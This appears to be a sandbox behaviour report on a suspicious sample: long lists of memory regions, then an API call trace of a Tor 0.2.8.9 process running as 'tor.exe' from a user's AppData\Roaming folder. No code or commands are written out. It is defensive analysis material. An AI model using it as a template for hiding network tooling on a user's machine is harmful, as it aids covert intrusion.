entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7060 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7061 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7062 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7063 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7064 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7065 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7066 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7067 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7068 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7069 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7070 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7071 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7072 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7073 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7074 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7075 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7076 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7077 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7078 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7079 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7080 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7081 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7082 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7083 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7084 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7085 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7086 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7087 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7088 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7089 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7090 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7091 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7092 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7093 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7094 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7095 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7096 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7097 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7098 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7099 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7100 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7101 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7102 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7103 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7104 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7105 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7106 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7107 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7108 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7109 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7110 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7111 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7112 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7113 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7114 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7115 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7116 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7117 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7118 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7119 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7120 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7121 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7122 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7123 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7124 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7125 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7126 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7127 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7128 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7129 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7130 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7131 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7132 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7133 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7134 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7135 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7136 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7137 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7138 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7139 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7140 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7141 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7142 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7143 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7144 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7145 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7146 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7147 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7148 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7149 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7150 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7151 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7152 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7153 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7154 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7155 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7156 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7157 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7158 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7159 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7160 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7161 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7162 start_va = 0x970000 end_va = 0x987fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7214 start_va = 0x2750000 end_va = 0x278ffff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 7215 start_va = 0x3610000 end_va = 0x380ffff entry_point = 0x0 region_type = private name = "private_0x0000000003610000" filename = "" Region: id = 7216 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Thread: id = 156 os_tid = 0x918 [0112.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f464 | out: lpSystemTimeAsFileTime=0x36f464*(dwLowDateTime=0x397fb770, dwHighDateTime=0x1d31ac1)) [0112.360] GetCurrentProcessId () returned 0x9b4 [0112.360] GetCurrentThreadId () returned 0x918 [0112.360] GetTickCount () returned 0x23043 [0112.360] QueryPerformanceCounter (in: lpPerformanceCount=0x36f46c | out: lpPerformanceCount=0x36f46c*=552416789) returned 1 [0112.360] __dllonexit () returned 0x748514a0 [0112.360] CryptAcquireContextA (in: phProv=0x36f42c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x36f42c*=0x7435b0) returned 1 [0112.374] CryptGenRandom (in: hProv=0x7435b0, dwLen=0x4, pbBuffer=0x74855004 | out: pbBuffer=0x74855004) returned 1 [0112.374] CryptReleaseContext (hProv=0x7435b0, dwFlags=0x0) returned 1 [0112.374] __dllonexit () returned 0x74852280 [0112.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f464 | out: lpSystemTimeAsFileTime=0x36f464*(dwLowDateTime=0x398218d0, dwHighDateTime=0x1d31ac1)) [0112.375] GetCurrentProcessId () returned 0x9b4 [0112.375] GetCurrentThreadId () returned 0x918 [0112.375] GetTickCount () returned 0x23052 [0112.375] QueryPerformanceCounter (in: lpPerformanceCount=0x36f46c | out: lpPerformanceCount=0x36f46c*=552469836) returned 1 [0112.375] __dllonexit () returned 0x741414a0 [0112.375] __dllonexit () returned 0x74141770 [0112.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f464 | out: lpSystemTimeAsFileTime=0x36f464*(dwLowDateTime=0x399ea950, dwHighDateTime=0x1d31ac1)) [0112.565] GetCurrentProcessId () returned 0x9b4 [0112.565] GetCurrentThreadId () returned 0x918 [0112.565] GetTickCount () returned 0x2310e [0112.565] QueryPerformanceCounter (in: lpPerformanceCount=0x36f46c | out: lpPerformanceCount=0x36f46c*=553139439) returned 1 [0112.565] VirtualQuery (in: lpAddress=0x74221000, lpBuffer=0x36f2f8, dwLength=0x1c | out: lpBuffer=0x36f2f8*(BaseAddress=0x74221000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x44000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0112.565] VirtualProtect (in: lpAddress=0x74221000, dwSize=0x44000, flNewProtect=0x40, lpflOldProtect=0x36f340 | out: lpflOldProtect=0x36f340*=0x20) returned 1 [0112.574] VirtualQuery (in: lpAddress=0x74221000, lpBuffer=0x36f428, dwLength=0x1c | out: lpBuffer=0x36f428*(BaseAddress=0x74221000, AllocationBase=0x74220000, AllocationProtect=0x80, RegionSize=0x3f000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0112.574] VirtualProtect (in: lpAddress=0x74221000, dwSize=0x3f000, flNewProtect=0x20, lpflOldProtect=0x36f424 | out: lpflOldProtect=0x36f424*=0x40) returned 1 [0112.575] __dllonexit () returned 0x742214a0 [0112.575] __dllonexit () returned 0x7425ff00 [0112.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f464 | out: lpSystemTimeAsFileTime=0x36f464*(dwLowDateTime=0x399ea950, dwHighDateTime=0x1d31ac1)) [0112.575] GetCurrentProcessId () returned 0x9b4 [0112.575] GetCurrentThreadId () returned 0x918 [0112.575] GetTickCount () returned 0x2310e [0112.575] QueryPerformanceCounter (in: lpPerformanceCount=0x36f46c | out: lpPerformanceCount=0x36f46c*=553175055) returned 1 [0112.576] VirtualQuery (in: lpAddress=0x721a1000, lpBuffer=0x36f348, dwLength=0x1c | out: lpBuffer=0x36f348*(BaseAddress=0x721a1000, AllocationBase=0x721a0000, AllocationProtect=0x80, RegionSize=0x15e000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0112.576] VirtualProtect (in: lpAddress=0x721a1000, dwSize=0x15e000, flNewProtect=0x40, lpflOldProtect=0x36f390 | out: lpflOldProtect=0x36f390*=0x20) returned 1 [0112.704] VirtualQuery (in: lpAddress=0x721a1000, lpBuffer=0x36f428, dwLength=0x1c | out: lpBuffer=0x36f428*(BaseAddress=0x721a1000, AllocationBase=0x721a0000, AllocationProtect=0x80, RegionSize=0x12000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0112.704] VirtualProtect (in: lpAddress=0x721a1000, dwSize=0x12000, flNewProtect=0x20, lpflOldProtect=0x36f424 | out: lpflOldProtect=0x36f424*=0x40) returned 1 [0112.705] __dllonexit () returned 0x721a14a0 [0112.705] getenv (_VarName="OPENSSL_ia32cap") returned 0x0 [0112.705] __dllonexit () returned 0x722fdb10 [0112.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f464 | out: lpSystemTimeAsFileTime=0x36f464*(dwLowDateTime=0x39b415b0, dwHighDateTime=0x1d31ac1)) [0112.705] GetCurrentProcessId () returned 0x9b4 [0112.705] GetCurrentThreadId () returned 0x918 [0112.705] GetTickCount () returned 0x2319a [0112.705] QueryPerformanceCounter (in: lpPerformanceCount=0x36f46c | out: lpPerformanceCount=0x36f46c*=553632210) returned 1 [0112.706] VirtualQuery (in: lpAddress=0x740d1000, lpBuffer=0x36f348, dwLength=0x1c | out: lpBuffer=0x36f348*(BaseAddress=0x740d1000, AllocationBase=0x740d0000, AllocationProtect=0x80, RegionSize=0x4a000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0112.706] VirtualProtect (in: lpAddress=0x740d1000, dwSize=0x4a000, flNewProtect=0x40, lpflOldProtect=0x36f390 | out: lpflOldProtect=0x36f390*=0x20) returned 1 [0112.719] VirtualQuery (in: lpAddress=0x740d1000, lpBuffer=0x36f428, dwLength=0x1c | out: lpBuffer=0x36f428*(BaseAddress=0x740d1000, AllocationBase=0x740d0000, AllocationProtect=0x80, RegionSize=0x8000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0112.719] VirtualProtect (in: lpAddress=0x740d1000, dwSize=0x8000, flNewProtect=0x20, lpflOldProtect=0x36f424 | out: lpflOldProtect=0x36f424*=0x40) returned 1 [0112.719] __dllonexit () returned 0x740d14a0 [0112.719] __dllonexit () returned 0x7411a050 [0112.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f464 | out: lpSystemTimeAsFileTime=0x36f464*(dwLowDateTime=0x39b67710, dwHighDateTime=0x1d31ac1)) [0112.720] GetCurrentProcessId () returned 0x9b4 [0112.720] GetCurrentThreadId () returned 0x918 [0112.720] GetTickCount () returned 0x231aa [0112.720] QueryPerformanceCounter (in: lpPerformanceCount=0x36f46c | out: lpPerformanceCount=0x36f46c*=553683175) returned 1 [0112.720] VirtualQuery (in: lpAddress=0x741f1000, lpBuffer=0x36f348, dwLength=0x1c | out: lpBuffer=0x36f348*(BaseAddress=0x741f1000, AllocationBase=0x741f0000, AllocationProtect=0x80, RegionSize=0x13000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0112.720] VirtualProtect (in: lpAddress=0x741f1000, dwSize=0x13000, flNewProtect=0x40, lpflOldProtect=0x36f390 | out: lpflOldProtect=0x36f390*=0x20) returned 1 [0112.722] VirtualQuery (in: lpAddress=0x741f1000, lpBuffer=0x36f428, dwLength=0x1c | out: lpBuffer=0x36f428*(BaseAddress=0x741f1000, AllocationBase=0x741f0000, AllocationProtect=0x80, RegionSize=0xc000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0112.722] VirtualProtect (in: lpAddress=0x741f1000, dwSize=0xc000, flNewProtect=0x20, lpflOldProtect=0x36f424 | out: lpflOldProtect=0x36f424*=0x40) returned 1 [0112.723] __dllonexit () returned 0x741f14a0 [0112.723] __dllonexit () returned 0x74202b20 [0112.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f9e0 | out: lpSystemTimeAsFileTime=0x36f9e0*(dwLowDateTime=0x39b67710, dwHighDateTime=0x1d31ac1)) [0112.723] GetCurrentProcessId () returned 0x9b4 [0112.723] GetCurrentThreadId () returned 0x918 [0112.723] GetTickCount () returned 0x231aa [0112.723] QueryPerformanceCounter (in: lpPerformanceCount=0x36f9e8 | out: lpPerformanceCount=0x36f9e8*=553695008) returned 1 [0112.723] GetStartupInfoA (in: lpStartupInfo=0x36f9bc | out: lpStartupInfo=0x36f9bc*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0112.724] __set_app_type (_Type=0x2) [0112.724] __getmainargs (in: _Argc=0x118f018, _Argv=0x118f014, _Env=0x118f010, _DoWildCard=0, _StartInfo=0x118f000 | out: _Argc=0x118f018, _Argv=0x118f014, _Env=0x118f010) returned 0 [0112.781] VirtualQuery (in: lpAddress=0xed1000, lpBuffer=0x36f864, dwLength=0x1c | out: lpBuffer=0x36f864*(BaseAddress=0xed1000, AllocationBase=0xed0000, AllocationProtect=0x80, RegionSize=0x229000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0112.781] VirtualProtect (in: lpAddress=0xed1000, dwSize=0x229000, flNewProtect=0x40, lpflOldProtect=0x36f8a0 | out: lpflOldProtect=0x36f8a0*=0x20) returned 1 [0112.902] VirtualQuery (in: lpAddress=0xed1000, lpBuffer=0x36f924, dwLength=0x1c | out: lpBuffer=0x36f924*(BaseAddress=0xed1000, AllocationBase=0xed0000, AllocationProtect=0x80, RegionSize=0x7000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0112.902] VirtualProtect (in: lpAddress=0xed1000, dwSize=0x7000, flNewProtect=0x20, lpflOldProtect=0x36f920 | out: lpflOldProtect=0x36f920*=0x40) returned 1 [0112.902] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10f26a0) returned 0x0 [0112.903] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe") returned 0x2f [0112.903] _onexit (_Func=0xed1560) returned 0xed1560 [0112.903] _onexit (_Func=0x10f2d70) returned 0x10f2d70 [0112.903] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x75dc0000 [0112.903] GetProcAddress (hModule=0x75dc0000, lpProcName="SetProcessDEPPolicy") returned 0x75deeb9a [0112.904] SetProcessDEPPolicy (dwFlags=0x1) returned 0 [0112.904] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="%s (git-%s)", _ArgList=0x36f898 | out: _DstBuf=0x0) returned 30 [0112.904] _vsnprintf (in: _DstBuf=0x9f2750, _MaxCount=0x1f, _Format="%s (git-%s)", _ArgList=0x36f898 | out: _DstBuf="0.2.8.9 (git-44c5fc6878d91d60)") returned 30 [0112.904] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="Tor %s", _ArgList=0x36f888 | out: _DstBuf=0x0) returned 34 [0112.904] _vsnprintf (in: _DstBuf=0x9f2778, _MaxCount=0x23, _Format="Tor %s", _ArgList=0x36f888 | out: _DstBuf="Tor 0.2.8.9 (git-44c5fc6878d91d60)") returned 34 [0112.904] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1c [0112.904] GetCurrentThreadId () returned 0x918 [0112.905] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1c [0112.905] _vsnprintf (in: _DstBuf=0x36f79c, _MaxCount=0x100, _Format="Tor %s", _ArgList=0x36f74c | out: _DstBuf="Tor 0.2.8.9 (git-44c5fc6878d91d60)") returned 34 [0112.907] strerror (param_1=1) returned="Operation not permitted" [0112.907] strncpy (in: _Dest=0x7235e440, _Source="Operation not permitted", _Count=0x20 | out: _Dest="Operation not permitted") returned="Operation not permitted" [0112.907] strerror (param_1=2) returned="No such file or directory" [0112.907] strncpy (in: _Dest=0x7235e460, _Source="No such file or directory", _Count=0x20 | out: _Dest="No such file or directory") returned="No such file or directory" [0112.907] strerror (param_1=3) returned="No such process" [0112.907] strncpy (in: _Dest=0x7235e480, _Source="No such process", _Count=0x20 | out: _Dest="No such process") returned="No such process" [0112.907] strerror (param_1=4) returned="Interrupted function call" [0112.907] strncpy (in: _Dest=0x7235e4a0, _Source="Interrupted function call", _Count=0x20 | out: _Dest="Interrupted function call") returned="Interrupted function call" [0112.907] strerror (param_1=5) returned="Input/output error" [0112.907] strncpy (in: _Dest=0x7235e4c0, _Source="Input/output error", _Count=0x20 | out: _Dest="Input/output error") returned="Input/output error" [0112.907] strerror (param_1=6) returned="No such device or address" [0112.907] strncpy (in: _Dest=0x7235e4e0, _Source="No such device or address", _Count=0x20 | out: _Dest="No such device or address") returned="No such device or address" [0112.907] strerror (param_1=7) returned="Arg list too long" [0112.907] strncpy (in: _Dest=0x7235e500, _Source="Arg list too long", _Count=0x20 | out: _Dest="Arg list too long") returned="Arg list too long" [0112.907] strerror (param_1=8) returned="Exec format error" [0112.907] strncpy (in: _Dest=0x7235e520, _Source="Exec format error", _Count=0x20 | out: _Dest="Exec format error") returned="Exec format error" [0112.907] strerror (param_1=9) returned="Bad file descriptor" [0112.907] strncpy (in: _Dest=0x7235e540, _Source="Bad file descriptor", _Count=0x20 | out: _Dest="Bad file descriptor") returned="Bad file descriptor" [0112.907] strerror (param_1=10) returned="No child processes" [0112.907] strncpy (in: _Dest=0x7235e560, _Source="No child processes", _Count=0x20 | out: _Dest="No child processes") returned="No child processes" [0112.908] strerror (param_1=11) returned="Resource temporarily unavailable" [0112.908] strncpy (in: _Dest=0x7235e580, _Source="Resource temporarily unavailable", _Count=0x20 | out: _Dest="Resource temporarily unavailable") returned="Resource temporarily unavailable" [0112.908] strerror (param_1=12) returned="Not enough space" [0112.908] strncpy (in: _Dest=0x7235e5a0, _Source="Not enough space", _Count=0x20 | out: _Dest="Not enough space") returned="Not enough space" [0112.908] strerror (param_1=13) returned="Permission denied" [0112.908] strncpy (in: _Dest=0x7235e5c0, _Source="Permission denied", _Count=0x20 | out: _Dest="Permission denied") returned="Permission denied" [0112.908] strerror (param_1=14) returned="Bad address" [0112.908] strncpy (in: _Dest=0x7235e5e0, _Source="Bad address", _Count=0x20 | out: _Dest="Bad address") returned="Bad address" [0112.908] strerror (param_1=15) returned="Unknown error" 